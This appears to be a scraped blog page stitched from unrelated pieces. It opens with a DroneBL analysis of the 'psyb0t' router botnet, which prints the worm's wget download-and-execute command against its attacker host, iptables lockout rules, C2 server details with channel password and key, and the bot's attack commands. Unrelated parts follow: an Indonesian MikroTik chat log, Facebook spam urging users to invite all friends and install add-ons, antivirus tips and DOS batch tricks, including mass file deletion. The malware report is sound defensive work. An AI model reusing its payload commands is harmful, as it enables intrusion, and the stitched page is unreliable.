Update 4 — Before you read anything else, read this

Am I Vulnerable?

You are only vulnerable if:

• Your device is a mipsel (MIPS running in little-endian mode, this is what the worm is compiled for) device.
• Your device also has telnet, SSH or web-based interfaces available to the WAN, and
• Your username and password combinations are weak, OR the daemons that your firmware uses are exploitable.

As such, 90% of the routers and modems participating in this botnet are participating due to user-error (the user themselves or otherwise). Unfortunately, it seems that some of the people covering this botnet do not understand this point, and it is making us look like a bunch of idiots.

Any device that meets the above criteria is vulnerable, including those built on custom firmware such as OpenWRT and DD-WRT. If the above criteria is not met, then the device is NOT vulnerable.

How can I tell if I have been infected?

Ports 22, 23 and 80 are blocked as part of the infection process (but NOT as part of the rootkit itself, running the rootkit itself will not alter your iptables configuration).

If these ports are blocked, you should perform a hard reset on your device, change the administrative passwords, and update to the latest firmware. These steps will remove the rootkit and ensure that your device is not reinfected.

Public Relations and Us

We deal with botnets and abusive hosts, not PR.

We are quite concerned that not many people have (there have been a few, but the majority of the people have used the ’slashdot version’) contacted us, or anybody else working on this for further information or to verify if their conclusions written in their articles were correct. Many articles described this as a “end of the world, all routers are vulnerable” thing. This is simply not the case. We would prefer if you contact us if you do not understand fully now.

Commentary found on the Internet about “this rootkit is fake”, or “it doesn’t run on my ubuntu box”, or “UPX doesn’t unpack it”

Ok, first off, this binary is for MIPS-based processors, which are not X86 (the kind used in the average PC).

Secondly, this binary IS packed with UPX, but he has stripped the headers necessary to decompress it. A little time with a hex editor can get you the decompressed binary, as can just running it in qemu.

Commentary on “why isnt Law Enforcement involved”

Many botnet investigations are handled by the private sector. This is one of those investigations. If a Law Enforcement agency is interested in our work, or the work of anybody else researching this worm, then they should be encouraged to email admins@dronebl.org about it. If we have any useful information they don’t already know, we will be more than happy to provide it.

Commentary on “is device X vulnerable?”

Short answer: We don’t know. There are so many devices out there that we could not possibly know.

Your best bet would be to take action to upgrade the device firmware and secure any passwords if there is concern that the device may be vulnerable. Such actions will help to avoid exploitation by the worm.

The worm info itself

We have come across a botnet worm spreading around called “psyb0t”. It is notable because, according to my knowledge, it:

• is the first botnet worm to target routers and DSL modems
• contains shellcode for many mipsel devices
• is not targeting PCs or servers
• uses multiple strategies for exploitation, including bruteforce username and password combinations
• harvests usernames and passwords through deep packet inspection
• can scan for exploitable phpMyAdmin and MySQL servers

Vulnerable devices

• any linux mipsel routing device that has the router administration interface or sshd or telnetd in a DMZ, which has weak username/passwords (including openwrt/dd-wrt devices).
• possibly others

Infection strategy

Get a shell on the vulnerable device (methods vary). Once a shell is acquired, the bot does the following things:

# rm -f /var/tmp/udhcpc.env
# wget

If wget is present, then it uses wget to download hxxp://dweb.webhop.net/.bb/udhcpc.env , and runs it in the background.

If wget is not present, the bot looks for “busybox ftpget”, and then tries falling back to a tftp client. Once it is downloaded, it launches it in the background. The following snippet is the variant it uses if it finds that wget is usable.

# wget hxxp://dweb.webhop.net/.bb/udhcpc.env -P /var/tmp && chmod +x /var/tmp/udhcpc.env && /var/tmp/udhcpc.env &
udhcpc.env 100% |*****************************| 33744 00:00 ETA

It then takes several steps to lock anybody out of the device, including blocking telnet, sshd and web ports.

# iptables -A INPUT -p tcp --dport 23 -j DROP
# iptables -A INPUT -p tcp --dport 22 -j DROP
# iptables -A INPUT -p tcp --dport 80 -j DROP

This concludes the infection process.

IRC Botnet

Command and control server: strcpy.us.to
IP: 207.155.1.5 (master controller, Windstream Communications AS16687)
IP: 202.67.218.33 (backup controller? HKnet/REACH AS?????)
Port: 5050
Password: $!0@
Channel: #mipsel
Key: %#8b
NickPattern: \[NIP\]-[A-Z/0-9]{9}
BotController: DRS
DroneURL: hxxp://nenolod.net/~nenolod/psyb0t/udhcpc.env (backup copy, i did not write it)

strcpy.us.to control domain nameservers: ns1.afraid.org, ns2.afraid.org, ns3.afraid.org, ns4.afraid.org [suspended]

IRC Commands

.mode   - sets a mode on a channel
.login        - login to the bot
.logout                 - logout
.exit                   - causes the botnet to exit and remove itself
.sh            - runs  on shell
.tlist                  - lists all threads
.kill                   - kills a thread
.killall       - kills threads by glob-match pattern
.silent                 - makes the bot stop sending to channel
.getip                  - show bot WAN ip address
.visit             - flood URL with GET requests
.scan                   - scans a random range for vulnerable routers/modems
.rscan           - scans a CIDR range for vulnerable routers/modems
.lscan                  - scans the local subnet for vulnerable routers/modems
.lrscan                 - scans a range in the local subnet for vulnerable routers/modems
.split        - splits the workload of a scan thread into two threads
.sql        - scans for vulnerable MySQL servers and attempts to make them download and run URL
.pma        - scans for vulnerable phpMyAdmin and attempts to make them download and run URL
.sleep            - makes the bot sleep for the given time
.sel                    - ???
.esel                   - skip next part if locale is not X
.vsel                   - skip next part if version is not X
.gsel                   - ???
.rejoin [delay]         - cycle the channel after delay
.upgrade                - download new bot from the distribution site
.ver                    - returns "[PRIVATE] PSYB0T" followed by version
.rs                     - returns detected rapidshare URLs and logins
.rsgen                  - generate a bogus rapidshare login page and force user to browse to it
.rsloop           - runs a webserver i/o loop on  as a thread
.wget              - runs wget with the provided url
.r00t                   - attempts to raise effective UID using vmsplice() exploit (seems pointless)
.sflood      - sends SYN packets to IP
.uflood      - sends UDP packets to IP
.iflood      - sends ICMP pings to IP
.pscan              - portscans IP
.fscan              - tries to bruteforce FTP server at IP

Commentary

As stated above, this is the first known botnet based on exploiting consumer network devices, such as home routers and cable/dsl modems. Many devices appear to be vulnerable. The size of this botnet so far cannot be determined.

The author of this worm has some sophisticated programming knowledge, given the nature of this executable.

Action must be taken immediately to stop this worm before it grows much larger.

We came across this botnet as part of an investigation into the DDoS attacks against DroneBL’s infrastructure two weeks ago, and feel that this botnet was the one which flooded DroneBL.

We are looking into finding out more information about this botnet, and its controller. If you have any information, we would like to know.

If you intend to disassemble this botnet, you should note it’s UPX-compressed.

I estimate that at the time of writing, there is at least 100,000 hosts infected.

I suspect that the .sql and .pma exploit tools are used for finding more controllers. But I do not have the controller payload.

This technique is one to be extremely concerned about because most end users will not know their network has been hacked, or that their router is exploited. This means that in the future, this could be an attack vector for the theft of personally identifying information. This technique will certainly not be going away.

Update

Some prior research about an earlier version has been found here. This research was done by Terry Baume.

Update 2

This botnet has apparently been shutdown:

* Now talking on #mipsel
* Topic for #mipsel is: .silent on .killall .exit ._exit_ .Research is over:
 for those interested i reached 80K. That was fun  , time to get back to the real life... (To the DroneBL guys:
 I never DDOSed/Phished anybody or peeked on anybody's private data for that matter)
* Topic for #mipsel set by DRS at Sun Mar 22 17:02:15 2009

While this information may or may not be true, we have received HTTP-based floods from IPs participating in this botnet.

We are still interested in this DRS person. If you have any information, please provide it to DroneBL. We will not disclose our sources.

We also hope that the router and modem manufacturers which have been monitoring this incident take note of it and secure their firmware from future attacks.

Update 3 (Disinfection Instructions)

We have been getting asked a lot about disinfection instructions.

To disinfect, simply powercycle your device and take appropriate action to lock it down, including the latest firmware updates, and using a secure password.

nenolod / Mar-22-2009 07:32:31 GMT

karena sebenarnya saya emang kurang pintar dalam hal setting mikrotik,  terlebih yang saya pakai itu router board

tapi alangkah bahagianya karena ada 2 orang temen di kaskus yang mau buang waktunya (disela kesibukan mereka) untuk jawab pertanyaan bodoh saya yang bertubi-tubi tentang mikrotik Routerboard 450.

bayangkan dalam 10 menit 2 orang kawan tersebut bisa meresolve masalah saya

sangar emang

setelah dapat ijin dari om rj-45 untuk mempublish obrolan kami saya pun langsung memposting post ini, mudahan dapat membantu kawan2 dalam hal setting mikrotik, terumata routerboard 450

sengaja tidak saya kasih screen shoot, karena saya yakin kawan-kawan semua langsung dapat setting dengan membaca pelan-pelan pertanyaan saya ke om rj-45 di bawah ini

Instant messages are being archived on this computer.
Instant messages are being archived on this computer.
View Full Archive (Alt+Shift+V) Archiving Preferences (Ctrl+Shift+P)

k: resi ???
k: blom om
k:
rj-45 : tiki
k: okh blom
rj-45 : ke mana
rj-45 : langit?
k: astaga
k: iya ya om
k: apa dah web na kemaren om |||???
rj-45 : tanya resi tikinya
rj-45 : cek da
rj-45 : di email
rj-45 : biasanya di kirim via email
k: ini lagi buyung YM ini salesnya kemaren

k: saia bingun
k: [admin@routerku] > ip address add address=192.168.1.2
netmask=255.255.255.0 interface=Public comment=”IP ke Internet”

k: klo di winbox gimana yak ??
k:
k: netmask kan gak ada om di winbox

Hide Recent Messages (F3)

k: ia om
rj-45 : ada apa tadu
k: ane bener2 bingung settingnya
k: gak konek2
rj-45 : untuk koneksi apa
rj-45 : adsl
rj-45 : ?
k: ia om
k: speedy
k: bener2 dah seharian ini
k: aneh gak mau konek
rj-45 : udah masuk winbox?
k: udah om
k: tapi ping gak konak2
k: ini saya reset lagi
k: setres sekali
rj-45 : 1 line
rj-45 : /
rj-45 : ?
k: ia om
k:
k: spidi nya 1 aja om
k: bukan LB
k: yg ane bingung kok gak konek
k: ini udah ane reset v
rj-45 : udah di nat
rj-45 : ?
k: blom om
k: ane gak ngerti blas pake winbox ini om
rj-45 : gampang
k: biasanya kan cuman copas script ente
rj-45 : kasi ip
k: /ip address add address= ???
k:
rj-45 : di winbox aja
k: yang local ether 1 ato ether 2 om ??
k: yg ke modem local kan om ??
rj-45 : sekrng udah dapet eth ke lan yang mana
k: eth1 ke modem
k: eth2 ke hub client om
rj-45 : ok
rj-45 : kasi nama dah
rj-45 : biar ga ribed
rj-45 : trs modem ip nya brapa
rj-45 : ?
k: 192.168.1.1
rj-45 : bikin di ip address di winobox
rj-45 : teken +
k: ok
rj-45 : kasi ip 192.168.1.2/30
k: trs?
rj-45 : 192.168.1.2/24
rj-45 : bukan 30
rj-45 : salah
k: network??
rj-45 : network otomatis tar
rj-45 : kasi aja ip ke modem
rj-45 : 192.168.1.2/24
rj-45 : ke lan 192.168.0.1/24
k: broadcast nya ??
rj-45 : itu semua udah otomatis yung
k: otomatis juga dia ??
rj-45 : coba dah
rj-45 : ia
rj-45 : semua otomatis
k: ke client ??
rj-45 : kalo lo kasi 192.168.0.1/34
rj-45 : 24
rj-45 : client tar ip nya
rj-45 : 192.168.0.100
rj-45 : gatweway 192.168.0.1
rj-45 : netmask
rj-45 : 255.255.255.0
rj-45 : dns ikutin aja
rj-45 : dah
rj-45 : 100 untuk pc 1
rj-45 : 100 biling
rj-45 : 101 > pc 1
rj-45 : 102 >pc2
k: lan nya >> 192.168.0.1/24
k: itu ya om ??
rj-45 : yap
k: trs tinggal add dns nya ya om ??
rj-45 : dns dlu
rj-45 : di minbox
rj-45 : ip dns
rj-45 : trs centang
k: dimananya om ??
rj-45 : dns
rj-45 : setting
rj-45 : ada remote request
rj-45 : ceklis da
k: ip > DNS
k: itu om??
rj-45 : hooh
k: ttl nya ??
rj-45 : ttl?
k: he em
rj-45 : d imana ttl
rj-45 : ?
k: IP > DNS > +
rj-45 : bukan
rj-45 : ip dns
rj-45 : ada setting
rj-45 : lu klik aja
k: okh iya
k: ok om
k: ada lagi om ??
rj-45 : udah
rj-45 : ?
k: udah buyung masupin om
k: ping ke modem oke
rj-45 : ke nat
rj-45 : tanda +
rj-45 : src nat di general
k: nat dimana om ??
rj-45 : trs ke action
rj-45 : ip firewall nat
k: udah tanda + nya
k: trs om ??
k: ada chain srcnat itu kan ?
rj-45 : hooh
k: teyus ??
rj-45 : udah ke action
rj-45 : deretan stu
k: udah
rj-45 : ada kan action
k: ada om
rj-45 : klik aja di bawah nya
rj-45 : masquaride
k: di oK ??
rj-45 : ok
rj-45 : dah
rj-45 : ?
k: udah om
rj-45 : lu ke ip routes
k: oke
rj-45 : klik +
rj-45 : ada destination kan
k: ada om
rj-45 : gateway lu isi 192.168.1.1
rj-45 : destinationnya biarin 0000
k: apply ??
rj-45 : hooh
k: ada lg om ???
rj-45 : dah
rj-45 : sekrng client lu seting dag
rj-45 : dah
rj-45 : test
rj-45 : pasang da tu mikrotik
k: tak test dlu y om
rj-45 : ip
rj-45 : 192.168.0.100
rj-45 : gatway 192.168.0.1
rj-45 : eh
rj-45 : bentar dah
rj-45 : lu ke new terminal

rj-45 : test ping ke www.ragnarok.co.id
k: sek om
k: clienya 192.168.0.100
rj-45 : sep
k: konek om dari remote sini
rj-45 : udah
rj-45 : ?
k: konek
k:
rj-45 : jalan tu
rj-45 : ?
k: ip clientnya start dari apa om ??
k: konek om
k:
k: hebadddd
rj-45 : start dari
rj-45 : 192.168.0.1/24 = 192.168.1 samoai dengan 192.168.0.255
rj-45 : tapi 192.168.
rj-45 : 192.168.0.1 jangan di pake
rj-45 : karena itu udah di pake buat ke lan
k: nah om gini
k: klo di ping di winbox konek semua
k: klo di pc nya gak om
rj-45 : di pc ga konek
rj-45 : ?
rj-45 : sekrng
rj-45 : ?
rj-45 : ip nya brapa
k: ia om
rj-45 : ?
k: berarti settingan ip clientnya yang ane sala
rj-45 : coba yang ga konek
rj-45 : ip nya brapa
rj-45 : sama gateway
k: konek om
k:
rj-45 : dah
rj-45 : ?
k: di clientnya konek juga om
k: he em
rj-45 : sip
k: tinggal untuk ngelimitnya aja
rj-45 : gampang kan
rj-45 : :
k:
rj-45 :
rj-45 : linit mudah
rj-45 : ke queues
k: tak save semua cetingan kita ya om
rj-45 : sep
k: dimana itu om ??
rj-45 : di winbox
k: klo tak masupin di blog boleh om ??
k:
rj-45 : di deretan itu
rj-45 : boleh
rj-45 : itu di deretan itu
rj-45 : ada queues
rj-45 : klik aja
k: udah tak klik
rj-45 : nanti ada simple queues
rj-45 : nah teken +
k: nanti buyung masupin http://k/blog/
k:
k:
k: udah om
rj-45 : di general
rj-45 : ada nama
rj-45 : tesrerah itu
k: udah om
rj-45 : nama
rj-45 : misal pc 1
rj-45 : targaet address
rj-45 : klik
rj-45 : isi ip client tadi
rj-45 : misal 192.168.0.200
rj-45 : target upload sama target download
rj-45 : tibggal di klik tanda panah bawah
rj-45 : scroll dah
rj-45 : lu mau nya limit brapa
rj-45 : abis itu di lik ok
rj-45 : beres
k: muantabssss
k:
rj-45 : jalan
rj-45 : ?
k: muantebbbb
k:
k: sangarrrrrrrrrrrrrrrrrrrrrrrrr
k:
rj-45 : tinggal ikutin aja itu
rj-45 has signed out. (7/14/2009 2:14 PM)

k: siap om

************************************************
HOW 1 (USE ARE AVAILABLE Background)
************************************************

1. Join this group by clicking “Join this Group”
2. Invite all your friends to join by clicking “Invite People to Join All” and SELECT ALL your friends, and send invitations. REMEMBER! ONLY BECAUSE PEOPLE ARE join and install applications THIS AMENDMENT to see your view.
3. Use Mozilla Firefox Browser
4. Log in to http://www.yontoo.com/DownloadFFClient.aspx
5. Select “Start Install” l
6. Install Add-ons and after restart Mozilla Firefox.
7. Return to your Facebook page
8. Log in to http://apps.facebook.com/pagerage/
9. Facebook and select the view you want (click Select).
10. Finish and see the changes on your Facebook page.

************************************************
HOW 2 (IF you want to upload AS YOUR background)
************************************************
1. Join this group by clicking “Join this Group”
2. Invite all your friends to join by clicking “Invite People to Join All” and SELECT ALL your friends, and send invitations. REMEMBER! ONLY BECAUSE PEOPLE ARE join and install applications THIS AMENDMENT to see your view.
3. Use Mozilla Firefox Browser
4. Install Yontoo Layers, is the same way as above
5. Open: http://apps.facebook.com/pagerage/
6. Dipojok left click on “Create Your Own Backgrounds”
7. Background enter pictures that you have uploaded **, and Click “Load Image”
8. Selecting a Font and Color transparency settings (Show Advanced Settings)
9. Click “Apply Background”
10. Finish and see the changes on your Facebook page.

NOTE:
** For step # 7 you are the link address is input image, for example like this: http://i441.photobucket.com/albums/qq138/kaltimfree/DEV6-1.gif
** To get a link like that, you can upload images you anatara through:
- Http://www.photobucket.com
- Http://www.imageshack.us

************************************************
HOW 3 (WITH OPTION BANYAK view that BERVARASI)
************************************************

1. Join this group by clicking “Join this Group”
2. Invite all your friends to join by clicking “Invite People to Join All” and SELECT ALL your friends, and send invitations. REMEMBER! ONLY BECAUSE PEOPLE ARE join and install applications THIS AMENDMENT to see your view.
3. Use Mozilla Firefox Browser
4. Install Add-ons available at https: / / addons.mozilla.org/en-US/firefox/addon/2108
5. Install Add-ons by clicking the “Add to Firefox”
6. And after restart Mozilla Firefox.
7. Login to your facebook account.
8. Log in to http://userstyles.org/styles/site/facebook.com
Facebook 9.Pilih view you want.
10. Click the button “Load into Stylish”
11. Finish and see the changes on your Facebook page

GOOD LUCK!

………….!
… …….( 0 0)
.— oOo – (_)—–.
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
Invite ? ? ALL YOUR FRIENDS
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?
‘————— oOo
……..|__|__|
………. | | | |
……. Ooo ooo

———————————
TERMS OF SERVICE (TOS):
———————————

TO NEW MEMBER

Follow the instructions JOIN & POLICY GROUP

- FREE COMMENTS (WITHOUT SARA Element & POLITICAL)
- SEARCH FROM FRIEND’S GROUP
- HIGH JUNJUNG strap Pertemanan & Friendship
- FREE Upload (Element WITHOUT POLITICS & SARA)
- PEACE & LOVE
- PHOTO ALBUM FOR INSTALLING only PHOTOS SCREENSHOOT Views FaceBook RESULTS THAT HAVE BEEN BERHASIL amended, NOT for their personal

BY: Zaka Ardiansyah (Admin group) Facebook

PANDUAN MENGUBAH TAMPILAN FACEBOOK DALAM 3 MENIT!!!
(Rubah dengan Koleksi Wallpapper Facebook bahkan dengan Background Koleksi Foto Anda)

************************************************
CARA 1 (MENGGUNAKAN BACKGROUND YANG TERSEDIA)
************************************************

1. Gabung ke Grup ini dengan meng-klik “Gabung ke Grup ini”
2. Undang semua teman Anda untuk bergabung dengan meng-klik “Undang Semua Orang untuk Bergabung” dan PILIH SEMUA TEMANMU, lalu kirim undangan. INGAT!! KARENA HANYA ORANG YANG BERGABUNG DAN MENGINSTAL APLIKASI INI YANG DAPAT MELIHAT PERUBAHAN TAMPILAN ANDA.
3. Gunakan Browser Mozilla Firefox
4. Masuk ke http://www.yontoo.com/DownloadFFClient.aspx
5. Pilih “Start Instal”l
6. Install Add-Ons tersebut dan setelah selesai restart Mozilla Firefox tersebut.
7. Kembali ke halaman Facebook Anda
8. Masuk ke http://apps.facebook.com/pagerage/
9. Lalu pilih tampilan Facebook yang Anda inginkan (klik Select).
10. Selesai dan lihat perubahannya di halaman Facebook Anda.

************************************************
CARA 2 (JIKA ANDA INGIN MEMASUKKAN FOTO ANDA SEBAGAI BACKGROUND)
************************************************
1. Gabung ke Grup ini dengan meng-klik “Gabung ke Grup ini”
2. Undang semua teman Anda untuk bergabung dengan meng-klik “Undang Semua Orang untuk Bergabung” dan PILIH SEMUA TEMANMU, lalu kirim undangan. INGAT!! KARENA HANYA ORANG YANG BERGABUNG DAN MENGINSTAL APLIKASI INI YANG DAPAT MELIHAT PERUBAHAN TAMPILAN ANDA.
3. Gunakan Browser Mozilla Firefox
4. Instal Yontoo Layers, caranya sama seperti cara di atas
5. Buka : http://apps.facebook.com/pagerage/
6. Dipojok kiri atas klik “Create Your Own Backgrounds”
7. Memasukan Background gambar/foto yang telah di upload**, lalu Klik “Load Image”
8. Memilih Warna Font dan setting transparansi (Show Advanced Setting)
9. Klik “Apply Background”
10. Selesai dan lihat perubahannya di halaman Facebook Anda.

NOTE:
** Untuk step #7 yg dimasukan adalah link adress foto, contohnya seperti ini : http://i441.photobucket.com/albums/qq138/zaka2112/DEV6-1.gif
** Untuk mendapatkan link seperti itu kamu bisa upload foto kamu anatara lain melalui :
- http://www.photobucket.com
- http://www.imageshack.us

************************************************
CARA 3 (DENGAN BANYAK PILIHAN TAMPILAN YANG BERVARASI)
************************************************

1. Gabung ke Grup ini dengan meng-klik “Gabung ke Grup ini”
2. Undang semua teman Anda untuk bergabung dengan meng-klik “Undang Semua Orang untuk Bergabung” dan PILIH SEMUA TEMANMU, lalu kirim undangan. INGAT!! KARENA HANYA ORANG YANG BERGABUNG DAN MENGINSTAL APLIKASI INI YANG DAPAT MELIHAT PERUBAHAN TAMPILAN ANDA.
3. Gunakan Browser Mozilla Firefox
4. Install Add-ons yang ada di https://addons.mozilla.org/en-US/firefox/addon/2108
5. Install Add-ons tersebut dengan meng-klik “Add to Firefox”
6. Dan setelah selesai restart Mozilla Firefox tersebut.
7. Login ke account facebook Anda.
8. Masuk ke http://userstyles.org/styles/site/facebook.com
9.Pilih tampilan facebook yang Anda inginkan.
10. Klik tombol “Load into Stylish”
11. Selesai dan lihat perubahannya di halaman Facebook Anda

GOOD LUCK!!!

………….!
… …….(0 0)
.—oOO– (_)—–.
?????????????????????
? INVITE ALL YOUR FRIENDS ?
?????????????????????
‘—————oOO
……..|__|__|
………. || ||
……. ooO Ooo

———————————
TERMS OF SERVICE (TOS) :
———————————

TO NEW MEMBER

JOIN IKUTI PETUNJUK & KEBIJAKAN GROUP

- FREE COMMENTS (TANPA UNSUR SARA & POLITIK)
- SEARCH FRIEND’S FROM GROUP
- JUNJUNG TINGGI TALI PERSAHABATAN & PERTEMANAN
- FREE UPLOAD (TANPA UNSUR SARA & POLITIK)
- PEACE & LOVE
- ALBUM FOTO HANYA DIPERUNTUKKAN UNTUK MEMASANG FOTO HASIL SCREENSHOOT TAMPILAN FACEBOOK YANG TELAH BERHASIL DIRUBAH, TIDAK UNTUK KEPENTINGAN PRIBADI

BY : Zaka Ardiansyah (Admin group)

In addition to installing our products, we recommend that you follow these simple, common-sense precautions to reduce your exposure and protect your system.

1. Do not open e-mail attachments from an unknown, suspicious, or untrustworthy source. If you’re not familiar with the sender, do not open, download, or execute any files or e-mail attachments.
2. Do not open an e-mail attachment unless you know what it is, even if it appears to come from a friend or someone you know. Some viruses replicate themselves and spread via e-mail. Stay on the safe side and confirm that the attachment was sent from a trusted source before you open it.
3. Do not open any e-mail attachments if the subject line is questionable. If you feel that the attachment may be important to you, always save the file to your hard drive before you open it.
4. Delete chain e-mails and other spam from your inbox. It’s best not to forward or reply to messages like these. Unsolicited, intrusive mail clogs up networks, may contain annoying or offensive content, and may result in security and privacy risks.
5. Exercise caution when downloading files from the Internet. Make sure that the Web site is legitimate and reputable. Verify that an anti-virus program has checked the files on the download site. If you have any doubts, don’t download the file at all.  If you download software from the Internet, be especially vigilant of free software, which often carries adware or other potentially unwanted content along with it. Always read the privacy policies and end-user license agreements (EULAs) for software you install, regardless of the source. Be especially wary of screensavers, games, browser add-ons, peer-to-peer (P2P) clients, and any downloads claiming to be “cracked” or free versions of expensive applications, such as Adobe® PhotoShop® or Microsoft® Office. If it sounds too good to be true, it probably is.
6. Avoid downloads from non-Web sources altogether. The chances of downloading infected software from Usenet groups, IRC channels, instant messaging clients, or P2P is very high. Links to Web sites seen in IRC and instant messaging also frequently point to infected downloads.  Avoid obtaining your software from these sources.
7. Update your anti-virus software often. Threats are on the increase, and they are constantly evolving. Hundreds of viruses are discovered each month. To make sure that you are protected against the newest breed of threats, update your anti-virus software frequently. That means downloading the latest virus signature files and the most current version of the scanning engine.
8. Back up your files frequently. If a virus infects your files, at least you can replace them with your back-up copy. It’s a good idea to store your backup files (on CDs or flash drives) in another secure physical location away from your computer.
9. Update your operating system, Web browser, and e-mail program on a regular basis. For example, you can get Microsoft® security updates for Microsoft® Windows® and Microsoft® Explorer at http://www.microsoft.com/security.
10. Vigilance is the best defense against phishing scams. “Phishing” describes scams that attempt to acquire confidential information such as credit card numbers, personal identity data, and passwords by sending out e-mails that look like they come from real companies or trusted individuals. If you happen to receive an e-mail message announcing that your account will be closed, that you need to confirm an order, or that you need to verify your billing information, do not reply to the e-mail or click on any links. If you want to find out whether the e-mail is legitimate, you can contact the company or individual directly by calling or writing to them.
11. Do not open messages or click on links from unknown users in your instant messaging program. Instant messaging can be a vehicle for transmitting viruses and other malicious code, and it’s another means of initiating phishing scams.
12. Use a personal firewall. A hardware firewall that sits between your DSL router or cable modem will protect you from inbound attacks. It’s a must for broadband connections. A software firewall runs on your PC and can protect you from both inbound and outbound attacks.
13. Check your accounts and credit reports regularly. Identity thieves can begin using your personal information to open accounts, purchase goods, and make your life miserable within minutes of obtaining that data. Check your bank account and credit card statements frequently. That way, if you discover that your personal information has been compromised, you can alert credit companies and banks immediately, so they can close your accounts.

AFTER :

LINK : 5 MB

http://rapidshare.com/files/206796472/FIREFOX_3_OPTIMIZER.rar

Ga perlu ngoprek di about:config [cukup install & run]
sori kalo repos !

nih gw kasi skrinsut nya, lumayan komplit fitur2nya.:

Setelah install, akan ada 2 program yg terinstall :

original posted

http://www.kaskus.us/showthread.php?t=1496108

2. One or more . (dots) can represent a directory.
Sometimes it’s easier to use dots to represent directories. For example, if you’d like to move a file from another directory to the current, instead of writing the path to the current directory (which move.exe requires), use a dot: MOVE.EXE Pathanyfile .

This can be demonstrated with the DIR command.
One dot represents the current directory: DIR .
Two dots represent the parent directory: DIR ..
Three dots represent the directory above that: DIR …
And so on.

3. Directory listing of extentionless files.
DIR/A *. will list all files without extensions.

4. Add or remove file extensions (except system or hidden files).
REN *. *.txt will add .txt extension to files without extensions.
REN *.txt *. will remove .txt extension on files that have it.

5. Rename multiple files (except system or hidden files).
REN *.bat *.txt will rename all .bat files to .txt files.
REN *.txt 1*.txt will rename all .txt files so their first character is 1.

6. Use %temp%. (case is irrelevant) to represent the temp variable.
The temp variable can be set with or without a backslash, ie. c:temp or c:temp, which can be problematic when using the variable in a batch file. Using temp%. will refer correctly to the temp directory whether it has been set with a backslash or not. This method can be used with any variable whose value is set to a directory (provided the directory name has no extension!).

7. Use .. as the last directory in your Path statement.
No matter where you are, the parent directory will always be in the Path.

8. Change Drive and Directory easily.
There can be many reasons for changing drive and directory in a batch file, and this can be difficult if we only have a path and directory to go on. This can be accomplished with startling ease when one knows the secret, however. A drive can be made current just by entering a full path and directory at the prompt, provided a backslash is added at the end, ie. D:AnyDir, which entered at the prompt will make the D: drive current, if it is a valid drive. Oddly enough, the directory can be bogus and this will work nonetheless. If our directory is indeed valid, we can after changing drives, change to the directory by adding CD in front and repeating it without the backslash so we have, D:AnyDir followed by CD D:AnyDir Here’s how it looks in a batch file:

@ECHO off
:: cdd.bat (Change Drive and Directory)
:: Where %1 is a full path and directory without backslash.
:: Example usage: CDD D:ValidDir or CDD D: (for root)
%1
CD %1

9. Suppress a command’s output.
Works with most commands.
COPY file1 file2 >nul

10. Suppress a batch file’s output.
COMMAND/CTEST.BAT >nul

11. Temporarily increase environment while running a batch file.
Specify a maximum of 32000 bytes with the /E switch.
COMMAND/E:24000/CTEST.BAT

12. A timed delay (wait/sleep) which can not be interfered with from the keyboard.
:: Substitute 5 with the desired number of seconds, up to 99.
TYPE nul |CHOICE.COM /N /CY /TY,5 >nul

13. Timed delay w/o pipe.
CHOICE.COM/N/CY/TY,5<CLOCK$>nul
CHOICE.COM/N/CY/TY,5<aux>nul

14. Timed delay with Ctrl+C and Ctrl+Break disabled.
@ECHO off
CTTY nul
TYPE nul |CHOICE.COM /N /CY /TY,5
CTTY con

15. Produce a constant alarm (beeping).
CHOICE.COM /N < nul
Continues until Ctrl+C or Ctrl+Break is used.

16. Break out of an endless loop.
In the example, siren.com emits a siren sound for about 3.83 seconds each time it’s executed. If the choice command is not used, it’s impossible to break out with Ctrl+C or Ctrl+Break.
:start
SIREN.COM >nul
CHOICE.COM /N /CY /TY >nul
GOTO start

17. Create a 0 byte file.
TYPE nul >filename

18. Exit a batch at a designated place.
This method is used for testing and outputs a “Label not found” message which can be useful as confirmation the batch has quit at the designated place and also as a reminder if you forget to remove the bogus GOTO. Makes no disk writes.
GOTO bogus (non-existent label)

19. Exit a batch w/o error message using a 0 byte file.
This method writes a temporary 0 byte file which remains on the drive.
TYPE nul >%temp%.batexit.bat
%temp%.batexit

20. Exit a batch file w/o error message or orphaned file.
This method does not leave a 0 byte file behind, but uses pipes so it writes to %temp% or current. This trick courtesy of Laura Fairhead, Laura’s Home Page.
CTTY NUL |GOTO |CTTY CON |CALL ECHO ON

21. Use FOR to process GOTO’s.
FOR does not see the colon as a delimiter, but GOTO does. Therefore, they can be used together.
IF “%1″==”" FOR %%v IN (ECHO GOTO:end) DO %%v parameter required

22. Suppress screen messages, including error messages.
:: test.bat
@ECHO off
CTTY nul
ECHO this is a test
DIR/AD ..
CTTY con

23. Selectively display messages when screen output is suppressed.
:: test2.bat
@ECHO off
CTTY nul
ECHO This message will not be displayed
ECHO This message will be displayed >con
CTTY con

24. Delete all non-system, hidden or read-only files without confirmation.
DEL c:dirname*?.*

25. Use the pipe to place separate commands on one line.
Commands can sometimes be combined on one line.
SET |FIND.EXE “windir” |IF errorlevel=1 ECHO Windows not running
:: Here are six commands on one line:
D:|CD|DIR/AD/-P TEMP|FIND “TEMP “|IF not errorlevel=1 CD TEMP

26. Delete all files in a directory, regardless of attributes.
This example uses the pipe to place separate commands on one line. Be careful with this one, don’t do anything rash.
ATTRIB.EXE -R -A -S -H DirName*.* |ECHO Y |DEL DirName*.* >nul

27. Multiple pipes, and an ansi trick.
Ansi.sys required; Esc represents the escape character, created in edit by ‘Ctrl+P Esc’
::howmany.bat
@ECHO off
:: display how many files and bytes in current and sub-directories
DIR/A-D/W/S/-P |FIND “file(s)” |SORT/R |FIND/N “file(s)” |FIND “[1]”
IF not errorlevel=1 ECHO Esc[1ATotal:

28. Place comments on a command line.
ATTRIB.EXE, %1 %removes file attributes - broken in MS-DOS 7.x%

29. Echo pipes and redirection characters to the screen or to another file.
ECHO @PROMPT a+b $g c+d$_ > %temp%.spchar1.bat
COMMAND/E:2048/C %temp%.spchar1.bat |FIND "+" >%temp%.results.txt
DEL %temp%.spchar1.bat

30. Echo pipes and redirection characters with a single command.
Use %v at the prompt and %%v in a batch file.
COMMAND/E:2048/CFOR %v IN (1 2) DO PROMPT a+b $G c+d $_ |FIND/V "PROMPT">results.txt

31. Limit DIR output to only the file or directory you specify.
In cases where you are looking for an extensionless file or directory, only the name you specify will be in the DIR output, even though there may exist one or more files with the same basename and an extension. It can be used on all files because a dot following a file with an extension is ignored.
DIR/A-D/-P FileName.
DIR/AD/-P DirName.

